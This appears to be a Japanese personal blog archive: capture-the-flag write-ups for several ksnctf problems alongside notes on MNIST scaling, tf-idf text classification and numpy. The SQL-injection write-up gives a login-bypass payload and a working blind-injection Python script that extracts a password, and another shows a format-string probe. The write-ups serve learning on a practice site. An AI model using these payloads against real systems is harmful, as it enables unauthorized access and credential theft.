さえめろ の めも🐰

さえめろの備忘録です。twitter : @sae_mero_

ksnctf #7「Programming」

問題

ksnctf - 7 Programming



解答までの道

前回に引き続き、ちょっとポイント高めの問題。
.cppファイルが置いてあります。

#include   	 	<stdio.h>    
	
     	#include  	  <string.h>	
	
  int   	  	main		 
	()
   {   	const		char 	* 
s	=
 "     	    " 
"0123456789"	
"     "
	
"		   "
"			         							  				 			 "    	  
	 "ABCDEFGHIJ" 	;
	 printf	(
   	  "%c"	,		strlen 
(s)	
 );  int  i	  =	020000000	+	001000000	+
000600000	
  +000040000
+000007000
+000000500
+000000020
+000000002  	;
   	  	printf		(	
	"%s"
     	,&  	 i		
	)
;        	 	 
	long
    long 
			   							  				 		 	 					 l
	  =	 
 	
  2LL   		 
	    *
 	11LL
     	 		
	  	 *
 	229LL
     		 
	    *
 	614741LL
     		   
	    *
 	9576751LL
     		 	 
	  	 +
 	5LL
     	 	   
	    
 	;
     		  	
	  	 
 	printf
     	  	  (
	  "%s"  
 	
     	    ,	 
	  	 
 	
    & 	    
	    
 	
     		l	 
	    
 	
    ) 			 
	    
 	
     		 		;
	  	 
 	
    float 	 	
	    
 	
     	f		 =	
	    
 	
     1.0962664770776731080774868826855754386638240000e-38f	  
	  	 
 	
     ;	  
	    
 	
     printf(		"%s"	  
	  	 
 	
     	 ,		 
	    &f
 )	
    ; 	   	 
	double  	 
 	
d     		 			=
	6.7386412564254706622868098890859398199406890000e-308  	 
 ;	
  printf
("%s"
,&d);
}


うわっ汚い。
中身も普通のC++っぽいことが書かれていますが、なんかめちゃめちゃ崩れてる…。
とりあえず普通にC++としてコンパイル

$ gcc q7.cpp  
$ ./a.out  

FROG_This_is_wrong_:(

いじわる〜〜〜〜
当然うまくいくはずもありませんでした。
整形してもダメ、コンパイル方法をいろいろ変えて見てもダメ…頭を悩ませ最終的にグーグル先生行きになりました。


どうやらこれはC++ではなく、Whitespace(参考:Whitespace - Wikipedia)という言語らしい。
空白とTabで記述を行うようです。
そしてC++のように見えた中身はすべてコメント扱いになっているらしい…知らなかった…。

インタプリタがあるっぽいので検索。
「Whitespace インタプリタ」とかで検索すると、一番上にJSに変換してくれるサイトがありました。

Whitespace Interpreter written in JavaScript
ここです。

convertしてみるとこんな感じのJSのコードが出てきました。

(function (stack, heap, callStack, main, buf) {

  (main = function (label, end) { do switch(label) {

    case 0:

      stack.push(80);
      WS2JS.putc(stack.pop());
      stack.push(73);
      WS2JS.putc(stack.pop());
      stack.push(78);
      WS2JS.putc(stack.pop());
      stack.push(58);
      WS2JS.putc(stack.pop());
      stack.push(32);
      WS2JS.putc(stack.pop());
      stack.push(0);
      WS2JS.getn(function (n) { heap[stack.pop()] = n; main(14);}); label = 2; break; case 14:
      stack.push(0);
      stack.push(heap[stack.pop()]);
      stack.push(33355524);
      stack.push(-stack.pop() + stack.pop());
      if (!stack.pop()) { label = '1'; break;}
      stack.push(78);
      WS2JS.putc(stack.pop());
      stack.push(79);
      WS2JS.putc(stack.pop());
      label = 1; break;

    case '1':

      stack.push(79);
      WS2JS.putc(stack.pop());
      stack.push(75);
      WS2JS.putc(stack.pop());
      stack.push(10);
      WS2JS.putc(stack.pop());
      stack.push(0);
      stack.push(heap[stack.pop()]);
      stack.push(33355454);
      stack.push(-stack.pop() + stack.pop());
      stack.push(stack[stack.length - 1]);
      WS2JS.putc(stack.pop());
      stack.push(6);
      stack.push(stack.pop() + stack.pop());
      stack.push(stack[stack.length - 1]);
      WS2JS.putc(stack.pop());
      stack.push(11);
      stack.push(-stack.pop() + stack.pop());
      stack.push(stack[stack.length - 1]);
      WS2JS.putc(stack.pop());
      stack.push(6);
      stack.push(stack.pop() + stack.pop());
      stack.push(stack[stack.length - 1]);
      WS2JS.putc(stack.pop());
      stack.push(24);
      stack.push(stack.pop() + stack.pop());
      stack.push(stack[stack.length - 1]);
      WS2JS.putc(stack.pop());
      stack.push(26);
      stack.push(-stack.pop() + stack.pop());
      stack.push(stack[stack.length - 1]);
      WS2JS.putc(stack.pop());
      stack.push(40);
      stack.push(stack.pop() + stack.pop());
      stack.push(stack[stack.length - 1]);
      WS2JS.putc(stack.pop());
      stack.push(25);
      stack.push(-stack.pop() + stack.pop());
      stack.push(stack[stack.length - 1]);
      WS2JS.putc(stack.pop());
      stack.push(36);
      stack.push(stack.pop() + stack.pop());
      stack.push(stack[stack.length - 1]);
      WS2JS.putc(stack.pop());
      stack.push(66);
      stack.push(-stack.pop() + stack.pop());
      stack.push(stack[stack.length - 1]);
      WS2JS.putc(stack.pop());
      stack.push(16);
      stack.push(stack.pop() + stack.pop());
      stack.push(stack[stack.length - 1]);
      WS2JS.putc(stack.pop());
      stack.push(14);
      stack.push(stack.pop() + stack.pop());
      stack.push(stack[stack.length - 1]);
      WS2JS.putc(stack.pop());
      stack.push(14);
      stack.push(stack.pop() + stack.pop());
      stack.push(stack[stack.length - 1]);
      WS2JS.putc(stack.pop());
      stack.push(27);
      stack.push(-stack.pop() + stack.pop());
      stack.push(stack[stack.length - 1]);
      WS2JS.putc(stack.pop());
      stack.push(5);
      stack.push(stack.pop() + stack.pop());
      stack.push(stack[stack.length - 1]);
      WS2JS.putc(stack.pop());
      stack.push(29);
      stack.push(stack.pop() + stack.pop());
      stack.push(stack[stack.length - 1]);
      WS2JS.putc(stack.pop());
      stack.push(4);
      stack.push(-stack.pop() + stack.pop());
      stack.push(stack[stack.length - 1]);
      WS2JS.putc(stack.pop());
      stack.push(4);
      stack.push(stack.pop() + stack.pop());
      stack.push(stack[stack.length - 1]);
      WS2JS.putc(stack.pop());
      stack.push(28);
      stack.push(-stack.pop() + stack.pop());
      stack.push(stack[stack.length - 1]);
      WS2JS.putc(stack.pop());
      stack.push(22);
      stack.push(stack.pop() + stack.pop());
      stack.push(stack[stack.length - 1]);
      WS2JS.putc(stack.pop());
      stack.push(34);
      stack.push(-stack.pop() + stack.pop());
      stack.push(stack[stack.length - 1]);
      WS2JS.putc(stack.pop());
      stack.push(55);
      stack.push(-stack.pop() + stack.pop());
      stack.push(stack[stack.length - 1]);
      WS2JS.putc(stack.pop());
      label = 1; break;

    case 1:

      WS2JS.onExit();

    case 2:

      end = 1; break;

  default: throw new Error('Invalid label :' + label);} while (!end);})(0);

})([], {}, []);

実行するとPINコードを聞かれるので、入れたら多分フラグが出てくるのかな?
そしてJSのコードをみるとPIN絶対これっぽいな…?みたいなのがいるので、入力してみたら通ってしまいました。

フラグゲットです。



今回は種となるところを検索に頼ってしまい、自力の部分がほとんどありませんでした。
知らないと解く手がかりが見出しにくい問題に太刀打ちができないので、もっと知識をつけないとな〜と思います。

難解言語楽しそうなのでちょっと調べて遊んでみたい。



使ったものなど

・Whitespace
Whitespace - Wikipedia
・WS2JS convert Whitespace to JavaScript
Whitespace Interpreter written in JavaScript

ksnctf #6「Login」

問題

ksnctf - 6 Login



解答までの道

記載のURLに飛ぶと、ログインフォームのようなページがあります。
First, login as "admin". とのことなので、IDはadminでpassを探し出せば良さそう。

まずは適当にログインを試みるも、Login Failedと言われました。


ちょうど先々週(くらいだったと思う)の授業でSQL インジェクションをやったばかりのタイムリーさだったので、passに「'or 1=1--」を入力。

あっさり通った…!


と思いきや、

Congratulations!
It's too easy?
Don't worry.
The flag is admin's password.

というメッセージとともにヒントとしてPHPのコードがずらり…。

どうやら認証を通っただけではダメで、ここからが戦いのようです。
そして使用するのがこれまたタイムリーなブラインドSQLインジェクションというもの。

ただデータベースの知識が怪しいせいで、結果総当たりで探索しました。地道。

FLAG_まではほぼ確定と言っていいので、6文字目から21文字目までを

' OR substr((SELECT pass FROM user WHERE id='admin'),xxx,1) = 'a'--

で探索します。

import requests
 
url = "http://ctfq.sweetduet.info:10080/~q6/"

flag = ""
chara = list(map(chr, range(48, 123)))
 
for n in range(6,22):
    for c in chara:
        p = "' OR substr((SELECT pass FROM user WHERE id='admin'),{0},1) = '{1}'--".format(n,c)
        req = {"id":"admin","pass":p}
        res = requests.post(url, data = req)
        
        if "Congratulations" in res.text:
            flag += c
            break

print("FLAG_{}".format(flag))

これで無事Flagが出ます。

出るには出るんですが、なんで21文字(flagの文字数)を手動設定してるの??っていうコードですね。
これは自動化してflag=1文字の場合から探索するより、大体のフラグの文字数を予測して何回か回した方が早いんじゃないか、というズボラなあてずっぽうによるもので、本当に全然スマートじゃないです。

しかも勘が一発で当たってしまったので、コードはそのままです。

なにはともあれflagゲット…


使ったものなど

SQLインジェクション
SQLインジェクション - Wikipedia

MNISTのスケーリングは255.0で割らないほうがいいらしい

MNIST

今回の事件の舞台。
多分この記事を読んでいる方はMNISTについての説明なんていらないとは思うのですが、一応ざっくりとだけ説明。

MNISTは、0〜9までの手書き文字の画像からなるデータセットです。
そしてそれぞれの画像に対し、そこに書かれている数字をラベルとして持っています。

sklearnではfrom sklearn.datasets import fetch_mldata で使えるようになります。
(今回もsklearnを使用して分類しています)

画像は28px × 28px のモノクロデータであり、各ピクセルが0~255の値を持ちます。
これを784(=28*28)のベクトルとして考え、分類します。


MNISTのスケーリング

今回はSVMを使用しました。
SVMはチューニングが大切な分類器ですが、とりあえずデフォルトで何もせずに分類させるとこうなった。

from sklearn.utils import shuffle
from sklearn.datasets import fetch_mldata
from sklearn.metrics import f1_score
from sklearn.cross_validation import train_test_split
from sklearn import svm
from sklearn.svm import SVC
import numpy as np


mnist = fetch_mldata('MNIST original')
mnist_X,mnist_y = shuffle(mnist.data.astype('float32'),
                         mnist.target.astype('int32'),
                         random_state = 42)

train_X,test_X,train_y,test_y = train_test_split(mnist_X,mnist_y,
                                                test_size = 0.2,
                                                random_state = 43)


# 全部やると重いのでデータを10000に制限しました
clf = svm.SVC()
clf = clf.fit(train_X[:10000],train_y[:10000])

pred_y = clf.predict(test_X[:100])
f1_score(test_y[:len(pred_y[:100])], pred_y, average='macro')


これで精度は約1.8%。
生ゴミのようなものが出来上がりました。

それもそのはずで、MNISTの0〜255の数値では範囲が広すぎて、SVMによる座標上の自然な分割が行われません。

なのでmnist_Xをもっと小さい範囲にスケーリングしてから訓練させることで、劇的に精度が上がります。
そして0〜1の範囲にスケーリングするために、mnist_Xを255.0で除算するのが一般的なようです。

試しに

mnist_X = mnist_X / 255.0

を追加することで、精度は約91.5%まで上がります。劇的。

で、ここまではまあ理解のできる話です。


謎のスケーリング

先ほど mnist_X /= 255.0 と追加し、その前にも255.0で割るのが一般的などと書きました。
が、どうやらそれは最適ではないらしい。
SVMの精度を上げるためにグリッドサーチなどで戦っていたのですが、mnist_Xに対するスケーリングを

mnist_X = mnist_X / 100.0

と何気なく少なくしてみたところ、精度が95%まで上昇しました。
その差4%。でかい。

その後しばらく検証してみたところ、trainとtestがどういうわけかたであってもほぼ確実に(random_stateを0~100まで変更した限りでは100%)精度が向上する結果となりました。

より平均的な精度の高くなる数字は検証はしていませんが、100くらいで割ると精度が上がると言えます。
ちなみに半数の127.5では2%くらいの伸びでした。

多分SVMさんがとても分けやすいように並ぶのかな〜とは思うのですが、何しろ数値だけの上昇であり根拠がわかりません。あとものすごい検証不足です。
どなたかこんな感じじゃないかな〜とかでもいいので、わかる方いらっしゃいましたらご教授くださると幸いです。



追記

ちなみに、現在MLP(これはsklearnではなく手打ちです)でもMNISTを分類していますが、これもやっぱり100くらいで割ると精度が高いです。

【sklearn】tf-idfを用いたテキスト分類

現在機械学習のお勉強をさせて頂いている企業さんから、sklernを使ったテキスト処理の課題を受けました。
ちょうど良かったので、tf-idfのおさらいをざっくりとしようと思います。

なお、今回のモデルはsklearnの公式チュートリアルWorking With Text Data — scikit-learn 0.18.2 documentation:原文英語
)を大いに参考にしました。


今回使用するデータセットは20newsgroupsです。

20newsgroupsは、多数のテキストデータに対し、その文書のテーマ(ラベル)を持つデータセットです。
今回は未知の文書データに対して、指定された5つのラベルの中からふさわしいテーマを選ぶ多クラス分類を行いました。(本来は20のラベルがあります)



✔︎やったこと

今回は重み付けにtf-idfを使用しました。

tf-idfは、

tf = Term Frequency(単語の出現頻度)
idf = Inverse Document Frequency(逆文書頻)

の2つの指標を利用する、単語の重み付けの一種です。


tf   

{\displaystyle \mathrm {tf(i,j)} ={\frac {n_{i,j}}{\sum _{k}n_{k,j}}}}


{\displaystyle n_{i,j}}   …単語{\displaystyle i}の文書{\displaystyle n}における出現回数
{\displaystyle {\sum _{k}n_{k,j}}}   …文書{\displaystyle n}のすべての単語の出現回数の和


idf   

{\displaystyle \mathrm {idf(i)} =\log {\frac {|D|}{|\{d:d\ni t_{i}\}|}}}


{\displaystyle |D|}   …総文書数
{\displaystyle |\{d:d\ni t_{i}\}|}は単語{\displaystyle i}   …出現する文書の数


tf-idf   

{\displaystyle \mathrm {tfidf(i,j)} =\mathrm {tf(i,j)} \cdot \mathrm {idf(i)} }


これをまとめると、

tfは「ある単語の文書内での出現頻度」
idfは「ある単語がいくつの文書で使われているか」

となります。

つまりたくさん出てくる単語は重要(tf)かつ、たくさんの文書に共通する言葉は重要ではない(idf)という指標になっています。
めちゃめちゃ出る単語はtfは高いがidfは低く、めちゃめちゃ出ない単語はtfは低いがidfは高いということです。

ちなみにidfでlogを使用するのは、単語ごとの重みの差を縮めるスケーリングをするためです。



tf-idfはsklearnに用意されているので、20newsgroupsの読み込みから重み付けまでを記述します。

from sklearn.datasets import fetch_20newsgroups
from sklearn.feature_extraction.text import CountVectorizer
from sklearn.feature_extraction.text import TfidfTransformer
import numpy as np

categories = ['alt.atheism', 'soc.religion.christian','comp.graphics', 'sci.med', 'rec.sport.baseball']

all_data= fetch_20newsgroups(shuffle=True, categories=categories, random_state=42)


# tfidfによる重み付け
count_vect = CountVectorizer()
X_train_counts = count_vect.fit_transform(all_data.data)

tfidf_transformer = TfidfTransformer()
X_train_tfidf = tfidf_transformer.fit_transform(X_train_counts)

X_train_tfidf.toarray()

all_X = X_train_tfidf
all_y = all_data.target


これで重み付けができました。


これをsklearnのSVM分類器で分類すると、

from sklearn.cross_validation import train_test_split
from sklearn.metrics import f1_score
from sklearn import svm
from sklearn.svm import SVC

train_X, test_X, train_y, test_y = train_test_split(all_X, all_y,
                                                    test_size=0.2,
                                                    random_state=42)


clf2 = svm.SVC(kernel='rbf', C=5, gamma=0.2)
clf2.fit(train_X,train_y)
pred_y2 = clf2.predict(test_X)
print(f1_score(test_y, pred_y2, average='macro'))


こんな感じ。

出力は0.970124386976と、約97%という高い精度になりました。

from sklearn.metrics import confusion_matrix
print(confusion_matrix(test_y, pred_y2))

で見てみると、

[[ 80   0   2   1   2]
 [  0 114   0   0   0]
 [  0   3 123   0   0]
 [  0   3   2 117   0]
 [  0   4   0   0 120]]


という出力に。
どうやら、「クリスチャンの社会」という話題に分類するための特徴づけが弱そうです。


✔︎わかったこと

一概に全てに適応出来るとは言えませんが、tf-idfは(sklearnを使用した場合)簡単かつ強力な重み付けをしてくれることがわかりました。
今回の場合もSVMと組み合わせるだけで、グリッドサーチをしない状態でもとても高い精度になりました。

ちなみに他の分類器はrandom forest、決定木、ナイーブベイズ、k近傍法(いずれもsklearnのモジュールを使用)を試行しましたが、SVMが一番高い精度を出しました。

numpy計算覚え書き

たまに忘れちゃうので、よく使うものをまとめました。
とりあえずのものなので、また増えるかも。


✔︎ベクトル

import numpy as np

# ベクトルa,bの生成
a = np.array([1,2,3]) 
b = np.array([2,1,1])
# ノルム(ベクトルの長さ)
np.linalg.norm(a)
np.linalg.norm(b)
# ベクトルの正規化
a / np.linalg.norm(a)
b / np.linalg.norm(b)
# 加算
a+b

# 減算
a-b
# 内積
np.dot(a,b)

# 外積
np.cross(a,b)

✔︎行列

import numpy as np

# 行列aの生成
a = np.array([[1,2],[3,4]]) 
# 逆行列
numpy.linalg.inv(a)
# 行列式
np.linalg.det(a)

# ランク
np.linalg.matrix_rank(a)
# 行列の転置
a.T
# 行列の要素を全て0に
a.fill(0)

ksnctf #5「Onion」

問題

ksnctf - 5 Onion



解答までの道

なんかブワーッと書いてある…。
攻撃を仕掛けてフラグを盗む!のような前問とは違い、この問題は暗号系みたいですね。

とは言っても暗号の法則はわからないので、まずはタイトルから推測してみました。
ググると一発でTorなるものを発見。

略さずに書くとThe Onion Routerでまさにオニオン。

でもあれ…これなんか違うな…?
おそらくこの問題はデコードしていけば答えが見つかるんじゃないか式のもので、TCP/IPではなさそう…。


結局デコード系問題頻出のbase64で試行錯誤をすることに。
1回デコードして見た感じ、1回でなんとかなりそうにもないので、pythonでデコードを繰り返すコードを書きました。

import base64

def decode(x):
    txt = "Vm0wd2QyUXlVWGxWV0d4V1Y---(略)---"
    for i in range(x):
        txt = base64.urlsafe_b64decode(txt)
    
    return txt

print(decode(1))

数値を増やして調べていったところ、x = 16 の時に出力が

begin 666 <data>
51DQ!1U]&94QG4#-3:4%797I74$AU

end

になりました。
多分ビンゴだ〜。

それまでの出力に比べていかにも怪しそうなので、begin 666でググってみるとuuencodeというものがヒット。
Unix to Unix ENCODE」の略で、バイナリデータをテキストデータに変換するらしい。

uudecodeというコマンドの使用でデコードできるっぽいので、先ほど出力された文をtxtファイルで保存してターミナルで実行。
txtファイル名はq5.txtです。

$ uudecode q5.txt
uudecode: q5.txt: <data>: character out of range: [33-96]

うまくいっていれば、同じディレクトリに新しいファイルが出来ます。

中身を見てみると無事flagがゲットできていました!




使ったものなど

uuencode
uuencode - Wikipedia
base64
Base64 - Wikipedia

ksnctf #4「Villager A」

問題

ksnctf - 4 Villager A



解答までの道

とりあえず、記載のsshにログインしてみます。
macのターミナルからそのまま入りました。

$ ssh -p 10022 q4@ctfq.sweetduet.info


入れたら、lsでファイルを見てみる。

$ ls
flag.txt  q4  readme.txt


flag.txtというファイルが明らかに答え載ってそうなのでcatで閲覧を試みましたが、管理者のみの閲覧制限がかかっていました。流石にそこまで甘くない。

次に、q4というファイルを実行。

$ ./q4
What's your name?
saemero
Hi, saemero

Do you want the flag?
yes
Do you want the flag?
yes
Do you want the flag?
yes
Do you want the flag?
no
I see. Good bye.

なんやねん。
flagが欲しいか?と延々と聞かれ、noと答えるまで解放してくれないようです。

にっちもさっちも行かないので、googleで先人の知恵を拝借しました。


どうやら書式文字列攻撃なるものがこの問題のキモっぽい。

printf()などの書式指定文字列(フォーマットストリング)に対し、ユーザーの入力をフォーマットストリングとして処理させる攻撃で、プログラム側が書式指定をしていない時に発生。

例えば、%xでスタックの中身を表示させたり、%nでメモリを書き換えることにより、ユーザ側が不正なコードを実行させたりできるようになるそう。

つまり、今回はユーザーが名前を入力した際に、「Hi, ~~~~~~」とそのまま名前を返してしまう部分にとっても問題があるということになります。


これらを踏まえて、先ほどのq4に対して%xで攻撃を仕掛けてみます。

$ echo -e "aaa,%x,%x,%x,%x,%x,%x,%x" | ./q4
What's your name?
Hi, aaa,400,8868c0,8,14,6f0fc4,2c616161,252c7825

aaa = 616161なので、オフセットは6。

ただ後で気づいたのが、このファイルはどうやらELF-32bitだったようなので、入力文字列はaaaではなくaaaaの方が良かったということです。
今回は普通に大丈夫だったのでそのまま進めます。

objdumpで逆アセンブル
そのままはっつけたのでめちゃめちゃ長いです。

objdump -d -g q4

q4:     file format elf32-i386


Disassembly of section .init:

08048424 <_init>:
 8048424:	55                   	push   %ebp
 8048425:	89 e5                	mov    %esp,%ebp
 8048427:	53                   	push   %ebx
 8048428:	83 ec 04             	sub    $0x4,%esp
 804842b:	e8 00 00 00 00       	call   8048430 <_init+0xc>
 8048430:	5b                   	pop    %ebx
 8048431:	81 c3 a0 15 00 00    	add    $0x15a0,%ebx
 8048437:	8b 93 fc ff ff ff    	mov    -0x4(%ebx),%edx
 804843d:	85 d2                	test   %edx,%edx
 804843f:	74 05                	je     8048446 <_init+0x22>
 8048441:	e8 1e 00 00 00       	call   8048464 <__gmon_start__@plt>
 8048446:	e8 45 01 00 00       	call   8048590 <frame_dummy>
 804844b:	e8 00 03 00 00       	call   8048750 <__do_global_ctors_aux>
 8048450:	58                   	pop    %eax
 8048451:	5b                   	pop    %ebx
 8048452:	c9                   	leave  
 8048453:	c3                   	ret    

Disassembly of section .plt:

08048454 <__gmon_start__@plt-0x10>:
 8048454:	ff 35 d4 99 04 08    	pushl  0x80499d4
 804845a:	ff 25 d8 99 04 08    	jmp    *0x80499d8
 8048460:	00 00                	add    %al,(%eax)
	...

08048464 <__gmon_start__@plt>:
 8048464:	ff 25 dc 99 04 08    	jmp    *0x80499dc
 804846a:	68 00 00 00 00       	push   $0x0
 804846f:	e9 e0 ff ff ff       	jmp    8048454 <_init+0x30>

08048474 <putchar@plt>:
 8048474:	ff 25 e0 99 04 08    	jmp    *0x80499e0
 804847a:	68 08 00 00 00       	push   $0x8
 804847f:	e9 d0 ff ff ff       	jmp    8048454 <_init+0x30>

08048484 <fgets@plt>:
 8048484:	ff 25 e4 99 04 08    	jmp    *0x80499e4
 804848a:	68 10 00 00 00       	push   $0x10
 804848f:	e9 c0 ff ff ff       	jmp    8048454 <_init+0x30>

08048494 <__libc_start_main@plt>:
 8048494:	ff 25 e8 99 04 08    	jmp    *0x80499e8
 804849a:	68 18 00 00 00       	push   $0x18
 804849f:	e9 b0 ff ff ff       	jmp    8048454 <_init+0x30>

080484a4 <fopen@plt>:
 80484a4:	ff 25 ec 99 04 08    	jmp    *0x80499ec
 80484aa:	68 20 00 00 00       	push   $0x20
 80484af:	e9 a0 ff ff ff       	jmp    8048454 <_init+0x30>

080484b4 <printf@plt>:
 80484b4:	ff 25 f0 99 04 08    	jmp    *0x80499f0
 80484ba:	68 28 00 00 00       	push   $0x28
 80484bf:	e9 90 ff ff ff       	jmp    8048454 <_init+0x30>

080484c4 <puts@plt>:
 80484c4:	ff 25 f4 99 04 08    	jmp    *0x80499f4
 80484ca:	68 30 00 00 00       	push   $0x30
 80484cf:	e9 80 ff ff ff       	jmp    8048454 <_init+0x30>

080484d4 <__gxx_personality_v0@plt>:
 80484d4:	ff 25 f8 99 04 08    	jmp    *0x80499f8
 80484da:	68 38 00 00 00       	push   $0x38
 80484df:	e9 70 ff ff ff       	jmp    8048454 <_init+0x30>

080484e4 <strcmp@plt>:
 80484e4:	ff 25 fc 99 04 08    	jmp    *0x80499fc
 80484ea:	68 40 00 00 00       	push   $0x40
 80484ef:	e9 60 ff ff ff       	jmp    8048454 <_init+0x30>

Disassembly of section .text:

08048500 <_start>:
 8048500:	31 ed                	xor    %ebp,%ebp
 8048502:	5e                   	pop    %esi
 8048503:	89 e1                	mov    %esp,%ecx
 8048505:	83 e4 f0             	and    $0xfffffff0,%esp
 8048508:	50                   	push   %eax
 8048509:	54                   	push   %esp
 804850a:	52                   	push   %edx
 804850b:	68 e0 86 04 08       	push   $0x80486e0
 8048510:	68 f0 86 04 08       	push   $0x80486f0
 8048515:	51                   	push   %ecx
 8048516:	56                   	push   %esi
 8048517:	68 b4 85 04 08       	push   $0x80485b4
 804851c:	e8 73 ff ff ff       	call   8048494 <__libc_start_main@plt>
 8048521:	f4                   	hlt    
 8048522:	90                   	nop
 8048523:	90                   	nop
 8048524:	90                   	nop
 8048525:	90                   	nop
 8048526:	90                   	nop
 8048527:	90                   	nop
 8048528:	90                   	nop
 8048529:	90                   	nop
 804852a:	90                   	nop
 804852b:	90                   	nop
 804852c:	90                   	nop
 804852d:	90                   	nop
 804852e:	90                   	nop
 804852f:	90                   	nop

08048530 <__do_global_dtors_aux>:
 8048530:	55                   	push   %ebp
 8048531:	89 e5                	mov    %esp,%ebp
 8048533:	53                   	push   %ebx
 8048534:	8d 64 24 fc          	lea    -0x4(%esp),%esp
 8048538:	80 3d 08 9a 04 08 00 	cmpb   $0x0,0x8049a08
 804853f:	75 3e                	jne    804857f <__do_global_dtors_aux+0x4f>
 8048541:	bb e4 98 04 08       	mov    $0x80498e4,%ebx
 8048546:	a1 0c 9a 04 08       	mov    0x8049a0c,%eax
 804854b:	81 eb e0 98 04 08    	sub    $0x80498e0,%ebx
 8048551:	c1 fb 02             	sar    $0x2,%ebx
 8048554:	83 eb 01             	sub    $0x1,%ebx
 8048557:	39 d8                	cmp    %ebx,%eax
 8048559:	73 1d                	jae    8048578 <__do_global_dtors_aux+0x48>
 804855b:	90                   	nop
 804855c:	8d 74 26 00          	lea    0x0(%esi,%eiz,1),%esi
 8048560:	83 c0 01             	add    $0x1,%eax
 8048563:	a3 0c 9a 04 08       	mov    %eax,0x8049a0c
 8048568:	ff 14 85 e0 98 04 08 	call   *0x80498e0(,%eax,4)
 804856f:	a1 0c 9a 04 08       	mov    0x8049a0c,%eax
 8048574:	39 d8                	cmp    %ebx,%eax
 8048576:	72 e8                	jb     8048560 <__do_global_dtors_aux+0x30>
 8048578:	c6 05 08 9a 04 08 01 	movb   $0x1,0x8049a08
 804857f:	8d 64 24 04          	lea    0x4(%esp),%esp
 8048583:	5b                   	pop    %ebx
 8048584:	5d                   	pop    %ebp
 8048585:	c3                   	ret    
 8048586:	8d 76 00             	lea    0x0(%esi),%esi
 8048589:	8d bc 27 00 00 00 00 	lea    0x0(%edi,%eiz,1),%edi

08048590 <frame_dummy>:
 8048590:	55                   	push   %ebp
 8048591:	89 e5                	mov    %esp,%ebp
 8048593:	8d 64 24 e8          	lea    -0x18(%esp),%esp
 8048597:	a1 e8 98 04 08       	mov    0x80498e8,%eax
 804859c:	85 c0                	test   %eax,%eax
 804859e:	74 12                	je     80485b2 <frame_dummy+0x22>
 80485a0:	b8 00 00 00 00       	mov    $0x0,%eax
 80485a5:	85 c0                	test   %eax,%eax
 80485a7:	74 09                	je     80485b2 <frame_dummy+0x22>
 80485a9:	c7 04 24 e8 98 04 08 	movl   $0x80498e8,(%esp)
 80485b0:	ff d0                	call   *%eax
 80485b2:	c9                   	leave  
 80485b3:	c3                   	ret    

080485b4 <main>:
 80485b4:	55                   	push   %ebp
 80485b5:	89 e5                	mov    %esp,%ebp
 80485b7:	83 e4 f0             	and    $0xfffffff0,%esp
 80485ba:	81 ec 20 04 00 00    	sub    $0x420,%esp
 80485c0:	c7 04 24 a4 87 04 08 	movl   $0x80487a4,(%esp)
 80485c7:	e8 f8 fe ff ff       	call   80484c4 <puts@plt>
 80485cc:	a1 04 9a 04 08       	mov    0x8049a04,%eax
 80485d1:	89 44 24 08          	mov    %eax,0x8(%esp)
 80485d5:	c7 44 24 04 00 04 00 	movl   $0x400,0x4(%esp)
 80485dc:	00 
 80485dd:	8d 44 24 18          	lea    0x18(%esp),%eax
 80485e1:	89 04 24             	mov    %eax,(%esp)
 80485e4:	e8 9b fe ff ff       	call   8048484 <fgets@plt>
 80485e9:	c7 04 24 b6 87 04 08 	movl   $0x80487b6,(%esp)
 80485f0:	e8 bf fe ff ff       	call   80484b4 <printf@plt>
 80485f5:	8d 44 24 18          	lea    0x18(%esp),%eax
 80485f9:	89 04 24             	mov    %eax,(%esp)
 80485fc:	e8 b3 fe ff ff       	call   80484b4 <printf@plt>
 8048601:	c7 04 24 0a 00 00 00 	movl   $0xa,(%esp)
 8048608:	e8 67 fe ff ff       	call   8048474 <putchar@plt>
 804860d:	c7 84 24 18 04 00 00 	movl   $0x1,0x418(%esp)
 8048614:	01 00 00 00 
 8048618:	eb 67                	jmp    8048681 <main+0xcd>
 804861a:	c7 04 24 bb 87 04 08 	movl   $0x80487bb,(%esp)
 8048621:	e8 9e fe ff ff       	call   80484c4 <puts@plt>
 8048626:	a1 04 9a 04 08       	mov    0x8049a04,%eax
 804862b:	89 44 24 08          	mov    %eax,0x8(%esp)
 804862f:	c7 44 24 04 00 04 00 	movl   $0x400,0x4(%esp)
 8048636:	00 
 8048637:	8d 44 24 18          	lea    0x18(%esp),%eax
 804863b:	89 04 24             	mov    %eax,(%esp)
 804863e:	e8 41 fe ff ff       	call   8048484 <fgets@plt>
 8048643:	85 c0                	test   %eax,%eax
 8048645:	0f 94 c0             	sete   %al
 8048648:	84 c0                	test   %al,%al
 804864a:	74 0a                	je     8048656 <main+0xa2>
 804864c:	b8 00 00 00 00       	mov    $0x0,%eax
 8048651:	e9 86 00 00 00       	jmp    80486dc <main+0x128>
 8048656:	c7 44 24 04 d1 87 04 	movl   $0x80487d1,0x4(%esp)
 804865d:	08 
 804865e:	8d 44 24 18          	lea    0x18(%esp),%eax
 8048662:	89 04 24             	mov    %eax,(%esp)
 8048665:	e8 7a fe ff ff       	call   80484e4 <strcmp@plt>
 804866a:	85 c0                	test   %eax,%eax
 804866c:	75 13                	jne    8048681 <main+0xcd>
 804866e:	c7 04 24 d5 87 04 08 	movl   $0x80487d5,(%esp)
 8048675:	e8 4a fe ff ff       	call   80484c4 <puts@plt>
 804867a:	b8 00 00 00 00       	mov    $0x0,%eax
 804867f:	eb 5b                	jmp    80486dc <main+0x128>
 8048681:	8b 84 24 18 04 00 00 	mov    0x418(%esp),%eax
 8048688:	85 c0                	test   %eax,%eax
 804868a:	0f 95 c0             	setne  %al
 804868d:	84 c0                	test   %al,%al
 804868f:	75 89                	jne    804861a <main+0x66>
 8048691:	c7 44 24 04 e6 87 04 	movl   $0x80487e6,0x4(%esp)
 8048698:	08 
 8048699:	c7 04 24 e8 87 04 08 	movl   $0x80487e8,(%esp)
 80486a0:	e8 ff fd ff ff       	call   80484a4 <fopen@plt>
 80486a5:	89 84 24 1c 04 00 00 	mov    %eax,0x41c(%esp)
 80486ac:	8b 84 24 1c 04 00 00 	mov    0x41c(%esp),%eax
 80486b3:	89 44 24 08          	mov    %eax,0x8(%esp)
 80486b7:	c7 44 24 04 00 04 00 	movl   $0x400,0x4(%esp)
 80486be:	00 
 80486bf:	8d 44 24 18          	lea    0x18(%esp),%eax
 80486c3:	89 04 24             	mov    %eax,(%esp)
 80486c6:	e8 b9 fd ff ff       	call   8048484 <fgets@plt>
 80486cb:	8d 44 24 18          	lea    0x18(%esp),%eax
 80486cf:	89 04 24             	mov    %eax,(%esp)
 80486d2:	e8 dd fd ff ff       	call   80484b4 <printf@plt>
